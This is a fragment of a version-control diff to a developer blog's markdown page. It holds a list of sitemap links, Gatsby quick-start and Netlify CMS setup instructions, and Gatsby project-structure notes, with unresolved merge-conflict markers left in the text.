+[**🌍⇒docs/articles/dev-dep🗺️**](https://bgoonz-blog.netlify.app/docs/articles/dev-dep)
+[**🌍⇒docs/articles/event-loop🗺️**](https://bgoonz-blog.netlify.app/docs/articles/event-loop)
+[**🌍⇒docs/articles/fs-module🗺️**](https://bgoonz-blog.netlify.app/docs/articles/fs-module)
+[**🌍⇒docs/articles/how-the-web-works🗺️**](https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works)
+[**🌍⇒docs/articles/http🗺️**](https://bgoonz-blog.netlify.app/docs/articles/http)
+[**🌍⇒docs/articles/install🗺️**](https://bgoonz-blog.netlify.app/docs/articles/install)
+[**🌍⇒docs/articles/intro🗺️**](https://bgoonz-blog.netlify.app/docs/articles/intro)
+[**🌍⇒docs/articles/media-queries-no-more🗺️**](https://bgoonz-blog.netlify.app/docs/articles/media-queries-no-more)
+[**🌍⇒docs/articles/module-exports🗺️**](https://bgoonz-blog.netlify.app/docs/articles/module-exports)
+[**🌍⇒docs/articles/nextjs🗺️**](https://bgoonz-blog.netlify.app/docs/articles/nextjs)
+[**🌍⇒docs/articles/node-api-express🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-api-express)
+[**🌍⇒docs/articles/node-cli-args🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-cli-args)
+[**🌍⇒docs/articles/node-common-modules🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-common-modules)
+[**🌍⇒docs/articles/node-env-variables🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-env-variables)
+[**🌍⇒docs/articles/node-js-language🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-js-language)
+[**🌍⇒docs/articles/node-package-manager🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-package-manager)
+[**🌍⇒docs/articles/node-repl🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-repl)
+[**🌍⇒docs/articles/node-run-cli🗺️**](https://bgoonz-blog.netlify.app/docs/articles/node-run-cli)
+[**🌍⇒docs/articles/nodejs🗺️**](https://bgoonz-blog.netlify.app/docs/articles/nodejs)
+[**🌍⇒docs/articles/nodevsbrowser🗺️**](https://bgoonz-blog.netlify.app/docs/articles/nodevsbrowser)
+[**🌍⇒docs/articles/npm🗺️**](https://bgoonz-blog.netlify.app/docs/articles/npm)
+[**🌍⇒docs/articles/npx🗺️**](https://bgoonz-blog.netlify.app/docs/articles/npx)
+[**🌍⇒docs/articles/os-module🗺️**](https://bgoonz-blog.netlify.app/docs/articles/os-module)
+[**🌍⇒docs/articles/package-lock🗺️**](https://bgoonz-blog.netlify.app/docs/articles/package-lock)
+[**🌍⇒docs/articles/reading-files🗺️**](https://bgoonz-blog.netlify.app/docs/articles/reading-files)
+[**🌍⇒docs/articles/semantic🗺️**](https://bgoonz-blog.netlify.app/docs/articles/semantic)
+[**🌍⇒docs/articles/semantic-html🗺️**](https://bgoonz-blog.netlify.app/docs/articles/semantic-html)
+[**🌍⇒docs/articles/the-uniform-resource-locator-(url)🗺️**](<https://bgoonz-blog.netlify.app/docs/articles/the-uniform-resource-locator-(url)>)
+[**🌍⇒docs/articles/understanding-firebase🗺️**](https://bgoonz-blog.netlify.app/docs/articles/understanding-firebase)
+[**🌍⇒docs/articles/v8🗺️**](https://bgoonz-blog.netlify.app/docs/articles/v8)
+[**🌍⇒docs/articles/web-standards-checklist🗺️**](https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist)
+[**🌍⇒docs/articles/webdev-tools🗺️**](https://bgoonz-blog.netlify.app/docs/articles/webdev-tools)
+[**🌍⇒docs/articles/write-2-json-with-python🗺️**](https://bgoonz-blog.netlify.app/docs/articles/write-2-json-with-python)
+[**🌍⇒docs/articles/writing-files🗺️**](https://bgoonz-blog.netlify.app/docs/articles/writing-files)
+[**🌍⇒docs/audio/audio🗺️**](https://bgoonz-blog.netlify.app/docs/audio/audio)
+[**🌍⇒docs/audio/audio-feature-extraction🗺️**](https://bgoonz-blog.netlify.app/docs/audio/audio-feature-extraction)
+[**🌍⇒docs/audio/dfft🗺️**](https://bgoonz-blog.netlify.app/docs/audio/dfft)
+[**🌍⇒docs/audio/discrete-fft🗺️**](https://bgoonz-blog.netlify.app/docs/audio/discrete-fft)
+[**🌍⇒docs/audio/dtw-python-explained🗺️**](https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained)
+[**🌍⇒docs/audio/dynamic-time-warping🗺️**](https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping)
+[**🌍⇒docs/audio/web-audio-api🗺️**](https://bgoonz-blog.netlify.app/docs/audio/web-audio-api)
+[**🌍⇒docs/career/confidence🗺️**](https://bgoonz-blog.netlify.app/docs/career/confidence)
+[**🌍⇒docs/career/dev-interview🗺️**](https://bgoonz-blog.netlify.app/docs/career/dev-interview)
+[**🌍⇒docs/career/interview-dos-n-donts🗺️**](https://bgoonz-blog.netlify.app/docs/career/interview-dos-n-donts)
+[**🌍⇒docs/career/job-boards🗺️**](https://bgoonz-blog.netlify.app/docs/career/job-boards)
+[**🌍⇒docs/community/an-open-letter-2-future-developers🗺️**](https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers)
+[**🌍⇒docs/community/video-chat🗺️**](https://bgoonz-blog.netlify.app/docs/community/video-chat)
+[**🌍⇒docs/content/algo🗺️**](https://bgoonz-blog.netlify.app/docs/content/algo)
+[**🌍⇒docs/content/archive🗺️**](https://bgoonz-blog.netlify.app/docs/content/archive)
+[**🌍⇒docs/content/data-structures-algo🗺️**](https://bgoonz-blog.netlify.app/docs/content/data-structures-algo)
+[**🌍⇒docs/content/gatsby-Queries-Mutations🗺️**](https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations)
+[**🌍⇒docs/content/history-api🗺️**](https://bgoonz-blog.netlify.app/docs/content/history-api)
+[**🌍⇒docs/content/projects🗺️**](https://bgoonz-blog.netlify.app/docs/content/projects)
+[**🌍⇒docs/content/recent-projects🗺️**](https://bgoonz-blog.netlify.app/docs/content/recent-projects)
+[**🌍⇒docs/content/trouble-shooting🗺️**](https://bgoonz-blog.netlify.app/docs/content/trouble-shooting)
+[**🌍⇒docs/docs/appendix🗺️**](https://bgoonz-blog.netlify.app/docs/docs/appendix)
+[**🌍⇒docs/docs/bash🗺️**](https://bgoonz-blog.netlify.app/docs/docs/bash)
+[**🌍⇒docs/docs/content🗺️**](https://bgoonz-blog.netlify.app/docs/docs/content)
+[**🌍⇒docs/docs/css🗺️**](https://bgoonz-blog.netlify.app/docs/docs/css)
+[**🌍⇒docs/docs/data-structures-docs🗺️**](https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs)
+[**🌍⇒docs/docs/git-reference🗺️**](https://bgoonz-blog.netlify.app/docs/docs/git-reference)
+[**🌍⇒docs/docs/git-repos🗺️**](https://bgoonz-blog.netlify.app/docs/docs/git-repos)
+[**🌍⇒docs/docs/html-spec🗺️**](https://bgoonz-blog.netlify.app/docs/docs/html-spec)
+[**🌍⇒docs/docs/markdown🗺️**](https://bgoonz-blog.netlify.app/docs/docs/markdown)
+[**🌍⇒docs/docs/no-whiteboarding🗺️**](https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding)
+[**🌍⇒docs/docs/node-docs-complete🗺️**](https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete)
+[**🌍⇒docs/docs/node-docs-full🗺️**](https://bgoonz-blog.netlify.app/docs/docs/node-docs-full)
+[**🌍⇒docs/docs/regex-in-js🗺️**](https://bgoonz-blog.netlify.app/docs/docs/regex-in-js)
+[**🌍⇒docs/docs/sitemap🗺️**](https://bgoonz-blog.netlify.app/docs/docs/sitemap)
+[**🌍⇒docs/faq/contact🗺️**](https://bgoonz-blog.netlify.app/docs/faq/contact)
+[**🌍⇒docs/faq/plug-ins🗺️**](https://bgoonz-blog.netlify.app/docs/faq/plug-ins)
+[**🌍⇒docs/interact/callstack-visual🗺️**](https://bgoonz-blog.netlify.app/docs/interact/callstack-visual)
+[**🌍⇒docs/interact/clock🗺️**](https://bgoonz-blog.netlify.app/docs/interact/clock)
+[**🌍⇒docs/interact/jupyter-notebooks🗺️**](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks)
+[**🌍⇒docs/interact/other-sites🗺️**](https://bgoonz-blog.netlify.app/docs/interact/other-sites)
+[**🌍⇒docs/interact/video-chat🗺️**](https://bgoonz-blog.netlify.app/docs/interact/video-chat)
+[**🌍⇒docs/javascript/arrow-functions🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions)
+[**🌍⇒docs/javascript/await-keyword🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/await-keyword)
+[**🌍⇒docs/javascript/bigo🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/bigo)
+[**🌍⇒docs/javascript/clean-code🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/clean-code)
+[**🌍⇒docs/javascript/constructor-functions🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions)
+[**🌍⇒docs/javascript/promises🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/promises)
+[**🌍⇒docs/javascript/review🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/review)
+[**🌍⇒docs/javascript/this-is-about-this🗺️**](https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this)
+[**🌍⇒docs/projects/medium-links🗺️**](https://bgoonz-blog.netlify.app/docs/projects/medium-links)
+[**🌍⇒docs/projects/my-websites🗺️**](https://bgoonz-blog.netlify.app/docs/projects/my-websites)
+[**🌍⇒docs/python/at-length🗺️**](https://bgoonz-blog.netlify.app/docs/python/at-length)
+[**🌍⇒docs/python/basics🗺️**](https://bgoonz-blog.netlify.app/docs/python/basics)
+[**🌍⇒docs/python/cheat-sheet🗺️**](https://bgoonz-blog.netlify.app/docs/python/cheat-sheet)
+[**🌍⇒docs/python/comprehensive-guide🗺️**](https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide)
+[**🌍⇒docs/python/examples🗺️**](https://bgoonz-blog.netlify.app/docs/python/examples)
+[**🌍⇒docs/python/flow-control🗺️**](https://bgoonz-blog.netlify.app/docs/python/flow-control)
+[**🌍⇒docs/python/functions🗺️**](https://bgoonz-blog.netlify.app/docs/python/functions)
+[**🌍⇒docs/python/google-sheets-api🗺️**](https://bgoonz-blog.netlify.app/docs/python/google-sheets-api)
+[**🌍⇒docs/python/intro-for-js-devs🗺️**](https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs)
+[**🌍⇒docs/python/python-ds🗺️**](https://bgoonz-blog.netlify.app/docs/python/python-ds)
+[**🌍⇒docs/python/snippets🗺️**](https://bgoonz-blog.netlify.app/docs/python/snippets)
+[**🌍⇒docs/quick-reference/Emmet🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/Emmet)
+[**🌍⇒docs/quick-reference/all-emojis🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/all-emojis)
+[**🌍⇒docs/quick-reference/create-react-app🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/create-react-app)
+[**🌍⇒docs/quick-reference/git-bash🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/git-bash)
+[**🌍⇒docs/quick-reference/git-tricks🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/git-tricks)
+[**🌍⇒docs/quick-reference/google-firebase🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/google-firebase)
+[**🌍⇒docs/quick-reference/heroku-error-codes🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/heroku-error-codes)
+[**🌍⇒docs/quick-reference/installation🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/installation)
+[**🌍⇒docs/quick-reference/markdown-dropdowns🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/markdown-dropdowns)
+[**🌍⇒docs/quick-reference/minifiction🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/minifiction)
+[**🌍⇒docs/quick-reference/new-repo-instructions🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions)
+[**🌍⇒docs/quick-reference/psql-setup🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/psql-setup)
+[**🌍⇒docs/quick-reference/pull-request-rubric🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/pull-request-rubric)
+[**🌍⇒docs/quick-reference/quick-links🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/quick-links)
+[**🌍⇒docs/quick-reference/topRepos🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/topRepos)
+[**🌍⇒docs/quick-reference/understanding-path🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/understanding-path)
+[**🌍⇒docs/quick-reference/vscode-themes🗺️**](https://bgoonz-blog.netlify.app/docs/quick-reference/vscode-themes)
+[**🌍⇒docs/react/cheatsheet🗺️**](https://bgoonz-blog.netlify.app/docs/react/cheatsheet)
+[**🌍⇒docs/react/createReactApp🗺️**](https://bgoonz-blog.netlify.app/docs/react/createReactApp)
+[**🌍⇒docs/react/demo🗺️**](https://bgoonz-blog.netlify.app/docs/react/demo)
+[**🌍⇒docs/react/jsx🗺️**](https://bgoonz-blog.netlify.app/docs/react/jsx)
+[**🌍⇒docs/react/react-docs🗺️**](https://bgoonz-blog.netlify.app/docs/react/react-docs)
+[**🌍⇒docs/react/react-in-depth🗺️**](https://bgoonz-blog.netlify.app/docs/react/react-in-depth)
+[**🌍⇒docs/react/react2🗺️**](https://bgoonz-blog.netlify.app/docs/react/react2)
+[**🌍⇒docs/react/render-elements🗺️**](https://bgoonz-blog.netlify.app/docs/react/render-elements)
+[**🌍⇒docs/reference/awesome-lists🗺️**](https://bgoonz-blog.netlify.app/docs/reference/awesome-lists)
+[**🌍⇒docs/reference/awesome-static🗺️**](https://bgoonz-blog.netlify.app/docs/reference/awesome-static)
+[**🌍⇒docs/reference/bookmarks🗺️**](https://bgoonz-blog.netlify.app/docs/reference/bookmarks)
+[**🌍⇒docs/reference/embed-the-web🗺️**](https://bgoonz-blog.netlify.app/docs/reference/embed-the-web)
+[**🌍⇒docs/reference/github-search🗺️**](https://bgoonz-blog.netlify.app/docs/reference/github-search)
+[**🌍⇒docs/reference/how-2-reinstall-npm🗺️**](https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm)
+[**🌍⇒docs/reference/how-to-kill-a-process🗺️**](https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process)
+[**🌍⇒docs/reference/installing-node🗺️**](https://bgoonz-blog.netlify.app/docs/reference/installing-node)
+[**🌍⇒docs/reference/intro-to-nodejs🗺️**](https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs)
+[**🌍⇒docs/reference/notes-template🗺️**](https://bgoonz-blog.netlify.app/docs/reference/notes-template)
+[**🌍⇒docs/reference/psql🗺️**](https://bgoonz-blog.netlify.app/docs/reference/psql)
+[**🌍⇒docs/reference/resources🗺️**](https://bgoonz-blog.netlify.app/docs/reference/resources)
+[**🌍⇒docs/reference/vscode🗺️**](https://bgoonz-blog.netlify.app/docs/reference/vscode)
+[**🌍⇒docs/reference/web-api's🗺️**](https://bgoonz-blog.netlify.app/docs/reference/web-api's)
+[**🌍⇒docs/tools/data-structures🗺️**](https://bgoonz-blog.netlify.app/docs/tools/data-structures)
+[**🌍⇒docs/tools/dev-utilities🗺️**](https://bgoonz-blog.netlify.app/docs/tools/dev-utilities)
+[**🌍⇒docs/tools/google-cloud🗺️**](https://bgoonz-blog.netlify.app/docs/tools/google-cloud)
+[**🌍⇒docs/tools/markdown-html🗺️**](https://bgoonz-blog.netlify.app/docs/tools/markdown-html)
+[**🌍⇒docs/tools/more-tools🗺️**](https://bgoonz-blog.netlify.app/docs/tools/more-tools)
+[**🌍⇒docs/tutorials/google-lighthouse-cli🗺️**](https://bgoonz-blog.netlify.app/docs/tutorials/google-lighthouse-cli)
+>>>>>>> master
 </details>
-
 ---
-
 ---
-
 ---
 
 <details>
+
+
 <summary>  ↞↠ Getting Started With GatsbyJS ↞↠  </summary>
 #
-
 ---
-
 ## 🚀 Quick start
-
 1. **Create a Gatsby site.**
-
     Use the Gatsby CLI to create a new site, specifying the default starter.
+<<<<<<< HEAD
 
     ```shell
     # create a new Gatsby site using the default starter
     gatsby new my-default-starter https://github.com/gatsbyjs/gatsby-starter-default
     ```
 
+=======
+```bashell
+   # create a new Gatsby site using the default starter
+   gatsby new my-default-starter https://github.com/gatsbyjs/gatsby-starter-default
+```
+>>>>>>> master
 1. **Start developing.**
-
     Navigate into your new site's directory and start it up.
+<<<<<<< HEAD
 
     ```shell
     cd my-default-starter/
     gatsby develop
     ```
 
+=======
+```bashell
+   cd my-default-starter/
+   gatsby develop
+```
+>>>>>>> master
 1. **Open the source code and start editing!**
-
     Your site is now running at `http://localhost:8000`!
+<<<<<<< HEAD
 
     _Note: You'll also see a second link:_`http://localhost:8000/___graphql`_. This is a tool you can use to experiment with querying your data. Learn more about using this tool in the [Gatsby tutorial](https://www.gatsbyjs.com/tutorial/part-five/#introducing-graphiql)._
 
+=======
+    *Note: You'll also see a second link:*`http://localhost:8000/___graphql`_. This is a tool you can use to experiment with querying your data. Learn more about using this tool in the [Gatsby tutorial](https://www.gatsbyjs.com/tutorial/part-five/#introducing-graphiql)._
+>>>>>>> master
     Open the `my-default-starter` directory in your code editor of choice and edit `src/pages/index.js`. Save your changes and the browser will update in real time!
-
 ## 🧐 What's inside?
-
 A quick look at the top-level files and directories you'll see in a Gatsby project.
-
     .
     ├── node_modules
     ├── src
@@ -2271,44 +3920,35 @@ A quick look at the top-level files and directories you'll see in a Gatsby proje
     ├── package-lock.json
     ├── package.json
     └── README.md
-
 1. **`/node_modules`**: This directory contains all of the modules of code that your project depends on (npm packages) are automatically installed.
-
 2. **`/src`**: This directory will contain all of the code related to what you will see on the front-end of your site (what you see in the browser) such as your site header or a page template. `src` is a convention for "source code".
-
 3. **`.gitignore`**: This file tells git which files it should not track / not maintain a version history for.
-
 4. **`.prettierrc`**: This is a configuration file for [Prettier](https://prettier.io/). Prettier is a tool to help keep the formatting of your code consistent.
-
 5. **`gatsby-browser.js`**: This file is where Gatsby expects to find any usage of the [Gatsby browser APIs](https://www.gatsbyjs.com/docs/browser-apis/) (if any). These allow customization/extension of default Gatsby settings affecting the browser.
-
 6. **`gatsby-config.js`**: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you'd like to include, etc. (Check out the [config docs](https://www.gatsbyjs.com/docs/gatsby-config/) for more detail).
-
 7. **`gatsby-node.js`**: This file is where Gatsby expects to find any usage of the [Gatsby Node APIs](https://www.gatsbyjs.com/docs/node-apis/) (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.
-
 8. **`gatsby-ssr.js`**: This file is where Gatsby expects to find any usage of the [Gatsby server-side rendering APIs](https://www.gatsbyjs.com/docs/ssr-apis/) (if any). These allow customization of default Gatsby settings affecting server-side rendering.
-
 9. **`LICENSE`**: This Gatsby starter is licensed under the 0BSD license. This means that you can see this file as a placeholder and replace it with your own license.
-
 10. **`package-lock.json`** (See `package.json` below, first). This is an automatically generated file based on the exact versions of your npm dependencies that were installed for your project. **(You won't change this file directly).**
-
 11. **`package.json`**: A manifest file for Node.js projects, which includes things like metadata (the project's name, author, etc). This manifest is how npm knows which packages to install for your project.
-
 12. **`README.md`**: A text file containing useful reference information about your project.
-
 ## 🎓 Learning Gatsby
-
 Looking for more guidance? Full documentation for Gatsby lives [on the website](https://www.gatsbyjs.com/). Here are some places to start:
+<<<<<<< HEAD
 
 - **For most developers, we recommend starting with our [in-depth tutorial for creating a site with Gatsby**](https://www.gatsbyjs.com/tutorial/).\*\* It starts with zero assumptions about your level of ability and walks through every step of the process.
 -
 - **To dive straight into code samples, head [to our documentation**](https://www.gatsbyjs.com/docs/).\*\* In particular, check out the _Guides_, _API Reference_, and _Advanced Tutorials_ sections in the sidebar.
 
+=======
+-   **For most developers, we recommend starting with our [in-depth tutorial for creating a site with Gatsby**](https://www.gatsbyjs.com/tutorial/).\*\* It starts with zero assumptions about your level of ability and walks through every step of the process.
+-
+-   **To dive straight into code samples, head [to our documentation**](https://www.gatsbyjs.com/docs/).\*\* In particular, check out the *Guides*, *API Reference*, and *Advanced Tutorials* sections in the sidebar.
+>>>>>>> master
 ## 💫 Deploy
-
 [![Deploy to Netlify**](https://www.netlify.com/img/deploy/button.svg)](https://app.netlify.com/start/deploy?repository=https://github.com/BGOONZ_BLOG_2.0.git)
-
 [![Deploy with Vercel**](https://vercel.com/button)](https://vercel.com/import/project?template=https://github.com/BGOONZ_BLOG_2.0.git)
+<<<<<<< HEAD
 
 <!-- AUTO-GENERATED-CONTENT:END -->
 
@@ -2316,15 +3956,71 @@ Looking for more guidance? Full documentation for Gatsby lives [on the website](
 
 # Gatsby Project Structure | Gatsby
 
+=======
+---
+### Gatsby With Netlify CMS
+This tutorial will use [gatsby-personal-starter-blog](https://github.com/thomaswang/gatsby-personal-starter-blog), a Gatsby starter based on the official [gatsby-starter-blog](/starters/gatsbyjs/gatsby-starter-blog/). The differences are that `gatsby-personal-starter-blog` is configured to run the blog on a subdirectory, `/blog`, and comes pre-installed with [Netlify CMS](https://www.netlifycms.org/) for content editing. It also adds VS Code highlighting for code blocks.
+## Prerequisites
+- A GitHub account
+- The [Gatsby CLI](/docs/reference/gatsby-cli/) installed
+## Set up a Netlify CMS-managed Gatsby site in 5 steps
+### Step 1
+Open your Terminal and run the following command from the Gatsby CLI to create a new Gatsby site using [gatsby-personal-starter-blog](https://github.com/thomaswang/gatsby-personal-starter-blog).
+```shell
+gatsby new [your-project-name] https://github.com/thomaswangio/gatsby-personal-starter-blog
+```
+### Step 2
+Once the Gatsby site is finished installing all the packages and dependencies, you can now go into the directory and run the site locally.
+```shell
+cd [your-project-name]
+gatsby develop
+```
+Now you can go to `http://localhost:8000` to see your new site, but what's extra cool is that Netlify CMS is pre-installed and you can access it at `http://localhost:8000/admin`
+A CMS, or content management system, is useful because you can add content like blog posts from a dashboard on your site, instead of having to add posts manually with Markdown. However, you'll likely want to be able to access the CMS from a deployed website, not just locally. For that, you'll need to deploy to Netlify through GitHub, set up continuous deployment, and do a few configurations. You'll go over this in [Step-5](#step-5).
+### Step 3
+Open the project in your code editor and open `static/admin/config.yml`. Replace `your-username/your-repo-name` with your GitHub username and project name. This step is important for managing and deploying the Netlify CMS interface.
+```diff
+backend:
+-  name: test-repo
++  name: github
++  repo: your-username/your-repo-name
+```
+#### Customizing your site
+Head into `gatsby-config.js` and you can edit your siteMetadata, add a Google Analytics tracking ID, and your app icon/favicon. Test out the edits for the deployed build by quitting the development server and running `gatsby build && gatsby serve`.
+You'll likely also want to edit the `README.md` and `package.json` files to include your own project details.
+### Step 4
+Open [github.com](https://github.com) and create a new repository, with the same name as your project. Push your new Gatsby site's code to GitHub using the following Terminal commands:
+```shell
+git init
+git add .
+git commit -m "initial commit"
+git remote add origin https://github.com/[your-username]/[your-repo-name].git
+git push -u origin master
+```
+Then, open [app.netlify.com](https://app.netlify.com) and add a "New site from Git". Choose your newly created repo and click on "Deploy site" with the default deployment settings.
+> *Note: if you don't see the correct repo listed, you may need to install or reconfigure the Netlify app on GitHub.*
+![Netlify Dashboard for Creating a new site](netlify-dashboard.png)
+### Step 5
+To make sure that Netlify CMS has access to your GitHub repo, you need to set up an OAuth application on GitHub. The instructions for that are here: [Netlify's Using an Authorization Provider](https://www.netlify.com/docs/authentication-providers/#using-an-authentication-provider).
+For the "Homepage URL" – you can use your Netlify subdomain, `[name-of-your-site].netlify.com`, or you can use a custom domain. To customize the subdomain, look for the "Edit site name" field under "Domain Management" for your project on the [Netlify app](https://app.netlify.com). To connect your Netlify site to your custom domain instead, see [Netlify’s instructions on custom domains](https://www.netlify.com/docs/custom-domains/).
+Once you've configured an authentication provider then you'll be able to use Netlify CMS at your deployed site to add new posts.
+![Netlify and GitHub Authorization](https://cdn.netlify.com/67edd5b656c432888d736cd40125cb61376905bb/c1cba/img/docs/github-oauth-config.png)
+Copy the credentials of your new app listed on [GitHub OAuth Apps](https://github.com/settings/developers) and install a new auth provider on Netlify using them.
+![Setting up access control](netlify-install-oauth-provider.png)
+#### Benefits of Netlify CMS, GitHub, and Netlify Workflow
+Congrats! Now that Netlify CMS is successfully configured to your project, every time you add a new post, the content will be stored in your repository and versioned on GitHub because Netlify CMS is Git-based. Also, thanks to [Netlify's Continuous Deployment](https://www.netlify.com/docs/continuous-deployment/), a new version will be deployed every time you add or edit a post.
+You can learn more about Netlify CMS and how to configure it further in the [Netlify CMS documentation](https://www.netlifycms.org/docs/intro/)
+---
+---
+## Gatsby Project Structure | Gatsby
+>>>>>>> master
 > ## Excerpt
 >
 > Inside a Gatsby project, you may see some or all of the following folders and files: Folders /.cache Automatically generated. This folder…
-
 ---
-
 Inside a Gatsby project, you may see some or all of the following folders and files:
-
 ```
+<<<<<<< HEAD
 /|-- /.cache|-- /plugins|-- /public|-- /src    |-- /api    |-- /pages    |-- /templates    |-- html.js|-- /static|-- gatsby-config.js|-- gatsby-node.js|-- gatsby-ssr.js|-- gatsby-browser.js
 ```
 
@@ -2351,19 +4047,56 @@ Inside a Gatsby project, you may see some or all of the following folders and fi
 
 ## [](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous)Miscellaneous
 
+=======
+/|
+-- /.cache
+|-- /plugins
+|-- /public
+|-- /src
+|-- /api
+|-- /pages
+|-- /templates
+|-- html.js
+|-- /static
+|-- gatsby-config.js
+|-- gatsby-node.js
+|-- gatsby-ssr.js
+|-- gatsby-browser.js
+```
+[Folders](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#folders)
+-   **`/.cache`** *Automatically generated.* This folder is an internal cache created automatically by Gatsby. The files inside this folder are not meant for modification. Should be added to the `.gitignore` file if not added already.
+-   **`/plugins`** This folder hosts any project-specific ("local") plugins that aren't published as an `npm` package. Check out the [plugin docs](https://www.gatsbyjs.com/docs/plugins/) for more detail.
+-   **`/public`** *Automatically generated.* The output of the build process will be exposed inside this folder. Should be added to the `.gitignore` file if not added already.
+-   **`/src`** This directory will contain all of the code related to what you will see on the frontend of your site (what you see in the browser), like your site header, or a page template. "src" is a convention for "source code".
+    -   **`/api`** JavaScript and TypeScript files under `src/api` become functions automatically with paths based on their file name. Check out the [functions guide](https://www.gatsbyjs.com/docs/reference/functions/) for more detail.
+    -   **`/pages`** Components under `src/pages` become pages automatically with paths based on their file name. Check out the [pages recipes](https://www.gatsbyjs.com/docs/recipes/pages-layouts) for more detail.
+    -   **`/templates`** Contains templates for programmatically creating pages. Check out the [templates docs](https://www.gatsbyjs.com/docs/conceptual/building-with-components/#page-template-components) for more detail.
+    -   **`html.js`** For custom configuration of default `.cache/default_html.js`. Check out the [custom HTML docs](https://www.gatsbyjs.com/docs/custom-html/) for more detail.
+-   **`/static`** If you put a file into the static folder, it will not be processed by webpack. Instead it will be copied into the public folder untouched. Check out the [assets docs](https://www.gatsbyjs.com/docs/how-to/images-and-media/static-folder/#adding-assets-outside-of-the-module-system) for more detail.
+[Files](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#files)
+-   **`gatsby-browser.js`**: This file is where Gatsby expects to find any usage of the [Gatsby browser APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/) (if any). These allow customization/extension of default Gatsby settings affecting the browser.
+-   **`gatsby-config.js`**: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you'd like to include, etc. Check out the [config docs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-config/) for more detail.
+-   **`gatsby-node.js`**: This file is where Gatsby expects to find any usage of the [Gatsby node APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-node/) (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.
+-   **`gatsby-ssr.js`**: This file is where Gatsby expects to find any usage of the [Gatsby server-side rendering APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/) (if any). These allow customization of default Gatsby settings affecting server-side rendering.
+[Misc](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous)
+[Misc](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous)
+>>>>>>> master
 The file/folder structure described above reflects Gatsby-specific files and folders. Since Gatsby sites are also React apps, it's common to use standard React code organization patterns such as folders like `/components` and `/utils` inside `/src`. The [React docs](https://reactjs.org/docs/faq-structure.html) have more information on a typical React app folder structure.
-
 ---
+<<<<<<< HEAD
 
 # Layout Components | Gatsby
 
 > ## Excerpt
 >
+=======
+#### Layout Components | Gatsby
+## Excerpt
+>>>>>>> master
 > In this guide, you'll learn Gatsby's approach to layouts, how to create and use layout components, and how to prevent layout components from…
-
 ---
-
 In this guide, you'll learn Gatsby's approach to layouts, how to create and use layout components, and how to prevent layout components from unmounting.
+<<<<<<< HEAD
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#gatsbys-approach-to-layouts)Gatsby's approach to layouts
 
@@ -2375,49 +4108,59 @@ Layout components are for sections of your site that you want to share across mu
 
 ## [](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-create-layout-components)How to create layout components
 
+=======
+[Gatsby's approach to layouts](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#gatsbys-approach-to-layouts)
+Gatsby does not, by default, automatically apply layouts to pages (there are, however, ways to do so which will be covered in a later section). Instead, Gatsby follows React's compositional model of importing and using components. This makes it possible to create multiple levels of layouts, e.g. a global header and footer, and then on some pages, a sidebar menu. It also makes it possible to pass data between layout and page components.
+[What are layout components?](https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#what-are-layout-components)
